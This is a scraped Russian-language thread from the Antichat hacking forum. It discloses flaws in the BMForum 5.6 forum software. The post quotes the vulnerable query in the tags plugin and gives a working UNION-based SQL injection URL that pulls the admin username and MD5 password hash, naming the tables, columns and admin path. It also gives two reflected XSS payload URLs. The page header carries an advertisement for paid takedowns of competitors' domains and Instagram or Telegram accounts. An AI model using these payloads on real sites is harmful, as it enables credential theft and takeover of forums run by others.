BMForum 5.6 SQL Injection

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
BMForum 5.6 SQL Injection

Опции темы

Поиск в этой теме

Опции просмотра

BMForum 5.6 SQL Injection

01.10.2008, 18:35

~~~!DoK_tOR!~~~

Banned

Регистрация: 10.11.2006

Сообщений: 829

С нами: 10263663

Репутация: 1559

BMForum 5.6 SQL Injection

Офф.сайт: www.bmforum.com
Префикс таблиц бд: bmb_
Табличка: bmb_userlist
Клонки: username,pwd
Алгоритм шифрования: md5($pass)
Админка: http://localhost/admin.php

[SQL Injection]

Бага в плагине тегов.

Сценарий /plugins/tags.php

уязвимый код:

PHP код:


		
			
$query = "SELECT * FROM {$database_up}tags WHERE tagname='$tagname' ORDER BY 'tagid' DESC LIMIT 1";

Из кода видно то что переменная $tagname передаётся без фильтрации на основе этого мы можем провести SQL-Иньекцию.

Условие: magic_quotes_gpc = Off

Эксплойт:

Код:

http://localhost/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1'+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*

[XSS Passive]

http://localhost/[installdir]/index.php?cateid='><script%20%0a%0d>alert(/xss/)%3B</script>
http://localhost/[installdir]/post.php?forumid=2&type="><script%20%0a%0d>alert(/xss/)%3B</script>

Поиск:

Powered by BMForum 2007 5.6

𝕏 Twitter Reddit Telegram Копировать ссылку

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход